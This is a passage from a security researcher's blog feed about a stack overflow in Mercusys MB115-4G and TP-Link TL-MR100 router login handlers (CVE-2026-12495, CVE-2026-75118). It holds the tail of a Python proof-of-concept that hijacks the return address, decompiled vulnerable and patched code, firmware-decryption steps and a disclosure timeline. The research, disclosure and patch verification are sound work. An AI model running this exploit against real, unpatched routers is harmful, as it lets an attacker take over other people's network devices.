    a = ap.parse_args()
    ra = int(a.ra, 16)

    # 1) fetch RSA public key (nn, ee) and sequence number
    _, b = post(a.host, &#039;/cgi/getParm&#039;)
    p = json.loads(b)
    n, e, seq = int(p&#x5B;&#039;nn&#039;], 16), int(p&#x5B;&#039;ee&#039;], 16), int(p&#x5B;&#039;seq&#039;])

    # 2) oversized decrypted payload: 556 bytes filler + little-endian return address
    plaintext = b&#039;A&#039; * OFFSET_TO_RA + struct.pack(&#039;&lt;I&#039;, ra)
    data = base64.b64encode(
        AES.new(KEY, AES.MODE_CBC, IV).encrypt(pad(plaintext, 16))).decode()
    sign = rsa_nopad(
        f&#039;key={KEY.decode()}&amp;iv={IV.decode()}&amp;h=a&amp;s={seq + len(data)}&#039;.encode(), n, e)

    # 3) fire — all params in the query string (getEnv reads the query string)
    qs = urllib.parse.urlencode(
        {&#039;Action&#039;: &#039;1&#039;, &#039;LoginStatus&#039;: &#039;0&#039;, &#039;sign&#039;: sign, &#039;data&#039;: data})
    st, _ = post(a.host, f&#039;/cgi/login?{qs}&#039;)
    if st == 200:
        print(&#039;HTTP 200; make sure that router password setup was done&#039;)
    else:
        print(f&#039;sent RA={ra:#010x} -&gt; HTTP {st}; check kernel dump for epc={ra:#010x}&#039;)


if __name__ == &#039;__main__&#039;:
    main()
</pre></div>


<p class="wp-block-paragraph">An important thing to note is that this experimentation was done while I was away from home, without access to the real hardware. Also, I had set up a semi-automated agentic harness with a Ghidra MCP server and full-system emulation using Firmadyne for validation, which I might discuss in another post.</p>



<p class="wp-block-paragraph">Using this setup, the reliable signal for the crash is the kernel&#8217;s own fault report on the serial console. Booting with <code>print-fatal-signals=1 user_debug=31</code> prints the faulting <code>epc</code>, <code>ra</code> and <code>BadVA</code> on every SIGSEGV:</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="498" src="https://kylianeury.com/wp-content/uploads/2026/09/image-9-1024x498.png" alt="" class="wp-image-226" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-9-1024x498.png 1024w, https://kylianeury.com/wp-content/uploads/2026/09/image-9-300x146.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-9-768x374.png 768w, https://kylianeury.com/wp-content/uploads/2026/09/image-9-1536x748.png 1536w, https://kylianeury.com/wp-content/uploads/2026/09/image-9.png 1845w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Left terminal shows the firmadyne program crash output with epc control (0xdeadbeef), right terminal shows the PoC being executed</figcaption></figure>



<p class="wp-block-paragraph">Turning that into a shell is the remaining step, and on a target with an executable stack and no ASLR it is not a difficult one: stage MIPS shellcode at the front of the payload and point the return address at the buffer, whose location is stable between runs. I have not done it yet but might produce an article about it later on.</p>



<h2 class="wp-block-heading">Cross-vendor exploitation</h2>



<p class="wp-block-paragraph">As we have discussed in the first post of this series, Mercusys is a budget brand owned or at least affiliated with TP-Link. Because of this, their codebases are heavily shared and Mercusys directly uses a lot of TP-Link vendor code (debug strings name them rather than Mercusys in many binaries). We also noticed that they used the same DES-encrypted config format and the same default credentials for the root user.</p>



<p class="wp-block-paragraph">Because of this, I wanted to verify if any of their products would be affected by the same vulnerability. After doing some research, I stumbled upon the TP-Link TL-MR100, which has suspiciously similar specifications to the Mercusys MB115-4G.</p>



<figure class="wp-block-image alignwide size-full"><img loading="lazy" decoding="async" width="908" height="764" src="https://kylianeury.com/wp-content/uploads/2026/09/image-8.png" alt="" class="wp-image-222" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-8.png 908w, https://kylianeury.com/wp-content/uploads/2026/09/image-8-300x252.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-8-768x646.png 768w" sizes="auto, (max-width: 908px) 100vw, 908px" /><figcaption class="wp-element-caption">The TP-Link TL-MR100 4G router</figcaption></figure>



<p class="wp-block-paragraph">I pulled its firmware, extracted <code>httpd</code>, and looked for the same function. I confirmed that the exact same code was used there. <code>http_gdpr_decrypt</code> has the same structure, the same 2048-byte internal buffers, and the same unchecked <code>memcpy</code> into a caller-supplied pointer. <code>http_rpm_login</code> allocates the same frame and passes the same 512-byte destination, giving the same 556-byte distance to the saved return address. The binary is built with the same absence of mitigations.</p>



<p class="wp-block-paragraph">Since I already had a full-system emulation setup with Firmadyne, I loaded the TL-MR100 firmware instead, and tried to run the proof of concept code. To my surprise, both the emulation and the exploit worked perfectly without requiring any modifications whatsoever, and confirming that the TL-MR100 was also vulnerable.</p>



<h2 class="wp-block-heading">Verifying the fix and decrypting the later firmwares</h2>



<p class="wp-block-paragraph">Mercusys sent a signed beta build for verification, which I manually checked. The changes were straightforward: <code>http_gdpr_decrypt</code> gained an extra parameter for the size of the caller&#8217;s output buffer, and the final copy is now guarded.</p>



<p class="wp-block-paragraph">Here is the decompilation of the original vulnerable function (1.10.0):</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
undefined4 http_gdpr_decrypt(int param_1, char *param_2,
                             undefined4 param_3, void *param_4)
{
    /* ... */

    /* RSA-based decryption of the sign parameter */
    iVar1 = http_rsa_decrypt(param_3, auStack_81c, 0x81, 0);

    /* ... base64 decode, sequence check ... */

    iVar1 = aes_tmp_decrypt_buf_nopadding_new
                      (auStack_101c, auStack_181c, &amp;local_2020,
                       param_1 + 0x88, param_1 + 0xa9);
    if (iVar1 != 0) { /* error */ }

    /* copy straight out, no idea how big param_4 is */
    memcpy(param_4, auStack_181c, local_2020);
    return 0;
}
</pre></div>


<p class="wp-block-paragraph">And here is the decompilation of the fixed function (1.11.0):</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
undefined4 http_gdpr_decrypt(int param_1, char *param_2,
                             undefined4 param_3, void *param_4,
                             uint param_5)          /* &lt;-- output buffer size */
{
    /* ... */

    /* RSA replaced with elliptic-curve decryption */
    iVar1 = http_ecc_decrypt(param_3, acStack_818, 1);

    /* ... base64 decode, sequence check ... */

    iVar1 = aes_tmp_decrypt_buf_nopadding_new
                      (auStack_1018, auStack_1818, &amp;local_2060,
                       param_1 + 0x88, param_1 + 0xa9);
    if (iVar1 == 0) {

        /* new: authenticate the decrypted message before using it */
        iVar1 = http_check_HMAC(param_1 + 0x88, auStack_205c, auStack_1818);
        if (iVar1 != 0) {
            /* &quot;cgi_gdpr check HMAC fail&quot; */
            goto LAB_0041f6ac;
        }

        /* new: bounds check against the caller&#039;s buffer size */
        if (local_2060 &lt;= param_5) {
            memcpy(param_4, auStack_1818, local_2060);
            return 0;
        }
        fprintf(_stderr,
                &quot;&#x5B;%s %d]#Msg: Decrypted data length %d exceeds output buffer size %zu\n&quot;,
                &quot;http_gdpr_decrypt&quot;, 0x55c, local_2060, param_5);
    }
    /* ... */
}
</pre></div>


<p class="wp-block-paragraph">Finally, the callers correctly pass their buffer length and check for any errors:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
undefined4 http_rpm_login(int *param_1)
{
    /* ... */
    undefined auStack_34c&#x5B;4];
    undefined4 local_348;
    char acStack_234&#x5B;516];          /* destination buffer */

    /* ... Action / LoginStatus parsing ... */

    pcVar9 = (char *)http_parser_getEnv(&quot;data&quot;);
    pcVar7 = (char *)http_parser_getEnv(&quot;sign&quot;);

    if (pcVar9 == NULL || pcVar7 == NULL || *pcVar9 == &#039;\0&#039; || *pcVar7 == &#039;\0&#039;) {
        pcVar9 = &quot;sign or data error.&quot;;
        goto LAB_004175a8;
    }
    else {
        memset(acStack_234, 0, 0x200);
        memcpy(auStack_34c, (void *)param_1&#x5B;0x20], 0x118);
        local_348 = 0;

        /* the caller now tells the callee how big its buffer is */
        iVar2 = http_gdpr_decrypt(auStack_34c, pcVar7, pcVar9, acStack_234, 0x200);
        if (iVar2 != 0) {
            pcVar9 = &quot;decrypt password failed.&quot;;
            goto LAB_004175a8;
        }

        /* acStack_234 is only parsed once the decrypt reported success */
        pcVar9 = strtok(acStack_234, &quot;\n&quot;);
        /* ... */
    }
}
</pre></div>


<p class="wp-block-paragraph">Each caller passes the correct size for its own local buffer, and each checks the return value. The fix is the right one.</p>



<p class="wp-block-paragraph">The harder question was which <em>public</em> releases were affected, and answering it meant getting into images I couldn&#8217;t open. As mentioned in Part 1, the 1.10 firmware defeated binwalk entirely, with the entropy sitting at 8.0 and no recognisable structure, which is very likely to be an encrypted blob.</p>



<p class="wp-block-paragraph">Since I had a limited amount of time to work on this, Claude Code was left running in my reverse engineering VM to try and decrypt this firmware.</p>



<p class="wp-block-paragraph">The verification routine in <code>libcmm.so</code>, <code>rsl_sys_verifyFirmware</code>, gives up the format. The container is TP-Link&#8217;s <code>up_boot</code>, here with header tag <code>0x04000004</code>:</p>



<p class="wp-block-paragraph"><code>0x000-0x1FF : plaintext header (tag, MD5 hashes, partition table)<br>0x200 : TLV blocks [type:u32][size:u32][data...]<br>type 1 = signature block (256-byte signature at 0x208)<br>type 0 = terminator<br>0x330 : AES-128-CBC encrypted payload to EOF</code></p>



<p class="wp-block-paragraph">The key derivation is a scheme previously <a href="https://watchfulip.github.io/28-12-24/tp-link_c210_v2.html">documented by Watchful_IP</a> on TP-Link devices, and it is a genuinely odd one: the AES key and IV are carried inside the salt of the RSA-PSS signature. Verifying the signature is what produces the decryption key. Here are the decryption steps (according to Watchful_IP and my own notes):</p>



<ul class="wp-block-list">
<li><strong>Get the RSA public key.</strong> It is a 368-character base64 blob embedded in <code>libcmm.so</code>, in Microsoft&#8217;s public key blob format: an 8-byte header, then <code>RSA1</code>, the bit length and exponent, then the 2048-bit modulus stored little-endian.</li>



<li><strong>Pull the signature out of the container.</strong> It sits in the TLV block of type 1 at <code>0x208</code>, and it is stored byte-reversed.</li>



<li><strong>Recover the salt. </strong><code>EM = rev(sig)^e mod n</code>, then EMSA-PSS unmasking with SHA-256 to get <code>DB</code>. The salt is whatever follows the <code>0x01</code> separator.</li>



<li><strong>Take the key material from the salt. </strong><code>KEY = salt[0:16]</code>, <code>IV = salt[16:32]</code>, then AES-128-CBC decrypt everything from <code>0x330</code> to the end of the file.</li>
</ul>



<p class="wp-block-paragraph">The image then opens up normally: U-Boot, an LZMA kernel, and an xz squashfs root filesystem.</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="537" src="https://kylianeury.com/wp-content/uploads/2026/09/image-10-1024x537.png" alt="" class="wp-image-228" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-10-1024x537.png 1024w, https://kylianeury.com/wp-content/uploads/2026/09/image-10-300x157.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-10-768x403.png 768w, https://kylianeury.com/wp-content/uploads/2026/09/image-10-1536x805.png 1536w, https://kylianeury.com/wp-content/uploads/2026/09/image-10.png 1845w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">binwalk shows nothing on encrypted blob but after decryption the image shows all the sections present in the firmware</figcaption></figure>



<p class="wp-block-paragraph">With the decryptor working, I could finally diff the public releases. Firmware 1.10 was released publicly with the changelog note &#8220;Enhanced device security.&#8221; but does not fix this specific vulnerability. <code>http_gdpr_decrypt</code> is byte-identical to the vulnerable version, same size, same unchecked <code>memcpy</code>. <code>http_rpm_login</code> has the same prologue and therefore the same 556-byte offset. The exploit works unchanged.</p>



<p class="wp-block-paragraph">What the release actually changed was elsewhere: a manufacture-mode check added to <code>http_parser_main</code>, some new response headers, and a set of small configuration edits in <code>libcmm.so</code> tightening the defaults for Telnet, SSH and firewall ACLs. The real fix reached the public in 1.11.0, released on 3 August 2026.</p>



<h2 class="wp-block-heading">Timeline</h2>



<ul class="wp-block-list">
<li>22/02/2026 &#8211; Original report of the vulnerability to Mercusys by Héctor Villar Palacios (CVE-2026-12495)</li>



<li>30/06/2026 &#8211; Vulnerability independently rediscovered</li>



<li>06/07/2026 &#8211; Report sent to TP-Link</li>



<li>07/07/2026 &#8211; TP-Link acknowledges the report and redirects me to Mercusys for their respective product (sent the same day)</li>



<li>08/07/2026 &#8211; Mercusys acknowledges and sends the patched firmware</li>



<li>03/08/2026 &#8211; Mercusys publishes the patched firmware as &#8220;MB115-4G(EU)_V1_1.11.0 Build 260609&#8221;</li>



<li>14/08/2026 &#8211; TP-Link closes the report as a duplicate of an earlier internal report, stating the issue is no longer present in the latest firmware. The model named in the response (&#8220;TL-WR100 v3.20&#8221;) does not exist, and TL-MR100 still only had the original vulnerable firmware available publicly.</li>



<li>14/08/2026 &#8211; I reply noting that no fixed firmware existed for TL-MR100 and that CVE-2026-12495 covers only the Mercusys product. They publish the patched firmware shortly after as &#8220;TL-MR100(EU)_V3.20_1.3.0 Build 260609&#8221;</li>



<li>28/08/2026 &#8211; After some exchanges with them, TP-Link registers CVE-2026-75118 and publishes a security advisory</li>
</ul>



<h2 class="wp-block-heading">What&#8217;s Next</h2>



<p class="wp-block-paragraph">Controlling <code>epc</code> is not the same as running code. On a target with an executable stack, no ASLR and a predictable payload address the remaining work is well-understood, and staging MIPS shellcode to get a shell is what I&#8217;d cover in a Part 3 if I get to it.</p>



<p class="wp-block-paragraph">A good amount of the later triage was done using a semi-automated agentic setup. A Claude Code instance with access to the knowledge base containing all my findings as well as a Ghidra MCP &amp; the Firmadyne installation was set up and told to investigate all the leads I had selected.</p>



<p class="wp-block-paragraph">I&#8217;ll write that up separately, including the parts that wasted my time, and I&#8217;m working on pushing it further towards something that runs unattended. There are also several leads still open in these routers that I haven&#8217;t finished chasing.</p>



<p class="wp-block-paragraph">Everything described here is fixed in current firmware for both devices: MB115-4G 1.11.0 and TL-MR100 1.3.0. If you happen to own either, update it.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Root Shell and Firmware Extraction on a Cheap TP-Link/Mercusys 4G Router &#8211; Part 1 (CVE-2026-75118)</title>
		<link>https://kylianeury.com/root-shell-and-firmware-extraction-on-a-cheap-tp-link-mercusys-4g-router-part-1/</link>
		
		<dc:creator><![CDATA[razor7877]]></dc:creator>
		<pubDate>Wed, 04 Mar 2026 18:20:40 +0000</pubDate>
				<category><![CDATA[Reverse Engineering]]></category>
		<guid isPermaLink="false">https://kylianeury.com/?p=84</guid>

					<description><![CDATA[Introduction While searching for cheap routers on Amazon to reverse engineer, I stumbled upon Mercusys, a fairly unknown brand. Mercusys is a Chinese brand affiliated to TP-Link. They have product lines which highly resembles those of TP-Link such as routers, switches, and various other IoT products. Reverse engineering of their products has been done only [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Introduction</h2>



<p class="wp-block-paragraph">While searching for cheap routers on Amazon to reverse engineer, I stumbled upon Mercusys, a fairly unknown brand. Mercusys is a Chinese brand affiliated to TP-Link. They have product lines which highly resembles those of TP-Link such as routers, switches, and various other IoT products.</p>



<p class="wp-block-paragraph">Reverse engineering of their products has been done only a handful of times before, for example <a href="https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-1-root-shell-cve-2023-46297">here</a>, on an older router, which revealed significant vulnerabilities. After checking out their website, I was able to obtain firmware images for pretty much all of their products, most of which were unencrypted.</p>



<p class="wp-block-paragraph">Among them is the MB115-4G, a low-end 4G router. Before deciding to buy it, I downloaded the latest firmware image (1.10.0) to get an idea of what I could expect from it. This one image caused a lot of trouble for binwalk (it might be encrypted), and I ended up downloading and working on the previous one (1.9.0). Most of the early work was done statically on the image I obtained online, as well as with some attempts at emulating the firmware which will be discussed later on. This was done until I bought and received the actual router and could work with the real hardware.</p>



<h2 class="wp-block-heading">Extraction and analysis of the firmware</h2>



<p class="wp-block-paragraph">The downloaded firmware image is a compressed archive containing a binary firmware image. This was processed using binwalk which produced the following output&nbsp;:</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="391" src="https://kylianeury.com/wp-content/uploads/2026/03/image-1024x391.png" alt="" class="wp-image-85" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-1024x391.png 1024w, https://kylianeury.com/wp-content/uploads/2026/03/image-300x115.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-768x293.png 768w, https://kylianeury.com/wp-content/uploads/2026/03/image-1536x587.png 1536w, https://kylianeury.com/wp-content/uploads/2026/03/image.png 1841w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">binwalk output when processing the MB115-4G firmware image</figcaption></figure>



<p class="wp-block-paragraph">The image contains the following data&nbsp;:</p>



<ul class="wp-block-list">
<li><strong>U-Boot&nbsp;:</strong> This is a commonly used bootloader for embedded devices</li>



<li><strong>Squashfs filesystem&nbsp;:</strong> The Linux filesystem used by the router, which is of great interest to us</li>



<li><strong>Unicore &amp; eCos RTOS references&nbsp;:</strong> We are not interested in this, this most likely contains things such as firmware images for the 4G hardware on the board</li>
</ul>



<p class="wp-block-paragraph">The 12 LZMA archives at the end seem to all largely be related to the 4G modem. We can find string references to 4G hardware&nbsp;:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="911" height="116" src="https://kylianeury.com/wp-content/uploads/2026/03/image-1.png" alt="" class="wp-image-86" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-1.png 911w, https://kylianeury.com/wp-content/uploads/2026/03/image-1-300x38.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-1-768x98.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption class="wp-element-caption">Quectel is a Chinese manufacturer of IoT products such as modules for 4G, 5G, GNSS etc.</figcaption></figure>



<p class="wp-block-paragraph">What we are actually interested in is the squashfs filesystem. It’s a very common filesystem for embedded Linux devices which is compressed and read-only. The first things we look at are /etc for configuration data and startup scripts, the binaries that can be found in different folders (/bin, /sbin, /usr/bin, /usr/sbin), as well as a /web folder present at the root of the filesystem.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="919" height="463" src="https://kylianeury.com/wp-content/uploads/2026/03/image-7.png" alt="" class="wp-image-108" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-7.png 919w, https://kylianeury.com/wp-content/uploads/2026/03/image-7-300x151.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-7-768x387.png 768w" sizes="auto, (max-width: 919px) 100vw, 919px" /><figcaption class="wp-element-caption">The contents of the uncompressed file system</figcaption></figure>



<p class="wp-block-paragraph">The /etc folder contains a lot of interesting information and configuration data for the router:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="996" height="735" src="https://kylianeury.com/wp-content/uploads/2026/03/image-6.png" alt="" class="wp-image-107" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-6.png 996w, https://kylianeury.com/wp-content/uploads/2026/03/image-6-300x221.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-6-768x567.png 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /><figcaption class="wp-element-caption">The contents of the /etc folder</figcaption></figure>



<p class="wp-block-paragraph">Of particular interest are a few things : the init.d folder containing the rcS startup script which will hint us at what exactly runs on the router, and the two XML files default_config.xml and reduced_data_model.xml. Unfortunately, the two latter are not readable and seem encrypted, as evidenced by the extremely high entropy:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="889" height="301" src="https://kylianeury.com/wp-content/uploads/2026/03/image-9.png" alt="" class="wp-image-110" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-9.png 889w, https://kylianeury.com/wp-content/uploads/2026/03/image-9-300x102.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-9-768x260.png 768w" sizes="auto, (max-width: 889px) 100vw, 889px" /><figcaption class="wp-element-caption">The entropy of default_config.xml (the closer to eight the more random the file contents are)</figcaption></figure>



<p class="wp-block-paragraph">At this point, I started poking around in the filesystem to get a good overview of how it all works. Interesting binaries are pretty much all located in the /usr/bin directory. Binaries for the following services are present: HTTP, CWMP/TR-069 daemon, DHCP, DNS proxy, IGMP, OpenVPN, UPnP as well as many other binaries with more or less obvious names.</p>



<p class="wp-block-paragraph">There are also multiple loadable kernel modules, especially in /lib/modules, but most of them seemed pretty uninteresting and the attack surface is much smaller compared to what runs in user space.</p>



<p class="wp-block-paragraph">The /web directory contains all the contents for the web client when accessing the web interface. It consists of roughly ~100 HTML files, as well as a fair amount of JavaScript and CSS content.</p>



<p class="wp-block-paragraph">I quickly realized that the bulk of the filesystem is extremely similar to what can be found on the firmware for TP-Link routers. Indeed, one can find many references to TP-Link in the files, binaries and logs.</p>



<p class="wp-block-paragraph">When searching for references to the encrypted XML files, I ended up reversing some of the code in libcmm.so and finding how exactly they are encrypted. When it loads the configuration, the library decrypts these files before parsing and using the XML contents. It turns out that this has already been done before on TP-Link routers (for example <a href="https://therealunicornsecurity.github.io/TPLink/">here</a>). DES-ECB is used for the encryption, as can be seen in the decompilation:</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="396" src="https://kylianeury.com/wp-content/uploads/2026/03/image-11-1024x396.png" alt="" class="wp-image-117" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-11-1024x396.png 1024w, https://kylianeury.com/wp-content/uploads/2026/03/image-11-300x116.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-11-768x297.png 768w, https://kylianeury.com/wp-content/uploads/2026/03/image-11.png 1334w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">The decompilation of dm_loadCfg in libcmm.so</figcaption></figure>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="655" src="https://kylianeury.com/wp-content/uploads/2026/03/image-12-1024x655.png" alt="" class="wp-image-118" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-12-1024x655.png 1024w, https://kylianeury.com/wp-content/uploads/2026/03/image-12-300x192.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-12-768x491.png 768w, https://kylianeury.com/wp-content/uploads/2026/03/image-12.png 1334w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">The decompilation of dm_decryptFile with DES usage</figcaption></figure>



<p class="wp-block-paragraph">DAT_000ebff0 turned out to contain the 64-bit DES key, which can be directly used with openssl in ECB mode to decrypt the XML files. In default_config.xml, we find default configuration values for many features of the router. On the other side, reduced_data_model.xml contains the complete description of all the configuration objects manipulated by the router during use, which will be useful to understand their structure while searching for vulnerabilities later on.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="950" height="906" src="https://kylianeury.com/wp-content/uploads/2026/03/image-15.png" alt="" class="wp-image-122" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-15.png 950w, https://kylianeury.com/wp-content/uploads/2026/03/image-15-300x286.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-15-768x732.png 768w" sizes="auto, (max-width: 950px) 100vw, 950px" /><figcaption class="wp-element-caption">A snippet of the contents of default_config.xml</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="869" src="https://kylianeury.com/wp-content/uploads/2026/03/image-13-1024x869.png" alt="" class="wp-image-120" srcset="https://kylianeury.com/wp-content/uploads/2026/03/image-13-1024x869.png 1024w, https://kylianeury.com/wp-content/uploads/2026/03/image-13-300x255.png 300w, https://kylianeury.com/wp-content/uploads/2026/03/image-13-768x652.png 768w, https://kylianeury.com/wp-content/uploads/2026/03/image-13.png 1069w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">A snippet of the contents of reduced_data_model.xml</figcaption></figure>



<p class="wp-block-paragraph">While this gave me a good enough overview of the router internals, I needed to get the actual device before working on it further. Within the first few days, I had ordered it on Amazon and received it quickly afterwards.</p>



<h2 class="wp-block-heading">Receiving and Inspecting the Hardware</h2>



<p class="wp-block-paragraph">The router comes in an unremarkable generic box. Inside of it we find the router, along with the power supply, an RJ45 cable, and the user guide.</p>



<div class="wp-block-group alignwide is-nowrap is-layout-flex wp-container-core-group-is-layout-1a9244c7 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_Box_Contents-1024x768.jpg" alt="" class="wp-image-128" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_Box_Contents-1024x768.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Box_Contents-300x225.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Box_Contents-768x576.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Box_Contents-1536x1152.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Box_Contents-2048x1536.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>



<p class="wp-block-paragraph">The router was then cracked open to reveal the internals. This needed the removal of two screws on the underside as well as prying open the plastic top which is clipped on very strongly at many points around the sides.</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_Underside-1024x768.jpg" alt="" class="wp-image-130" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_Underside-1024x768.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Underside-300x225.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Underside-768x576.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Underside-1536x1152.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Underside-2048x1536.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">The underside with the two holes for the screws</figcaption></figure>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_Opened-1024x768.jpg" alt="" class="wp-image-131" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_Opened-1024x768.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Opened-300x225.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Opened-768x576.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Opened-1536x1152.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Opened-2048x1536.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">The router internals</figcaption></figure>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_2-1024x768.jpg" alt="" class="wp-image-133" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_2-1024x768.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_2-300x225.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_2-768x576.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_2-1536x1152.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_2-2048x1536.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Inside of it, the modem is directly visible, while most of the components seem hidden underneath a metal RF shield. The router uses a Quectel EC200A-EL 4G modem. In the top right corner, we can see the small SPI flash chip.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="759" height="1024" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-759x1024.jpg" alt="" class="wp-image-137" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-759x1024.jpg 759w, https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-222x300.jpg 222w, https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-768x1036.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-1139x1536.jpg 1139w, https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-1518x2048.jpg 1518w, https://kylianeury.com/wp-content/uploads/2026/03/Router_SPI_Flash_Close_Up-scaled.jpg 1898w" sizes="auto, (max-width: 759px) 100vw, 759px" /><figcaption class="wp-element-caption">cFeon QX64A-104HIP, a 64MB SPI NOR flash memory module</figcaption></figure>



<p class="wp-block-paragraph">After popping open the lid from the metal shield, we find our remaining components: an MT7628, a low-end MIPS CPU from Mediatek, and a 512MB DDR2 module from ESMT.</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="759" src="https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_No_Metal_Cover-1024x759.jpg" alt="" class="wp-image-142" srcset="https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_No_Metal_Cover-1024x759.jpg 1024w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_No_Metal_Cover-300x222.jpg 300w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_No_Metal_Cover-768x569.jpg 768w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_No_Metal_Cover-1536x1139.jpg 1536w, https://kylianeury.com/wp-content/uploads/2026/03/Router_Internals_No_Metal_Cover-2048x1518.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">The delidded shield revealing the CPU and RAM</figcaption></figure>



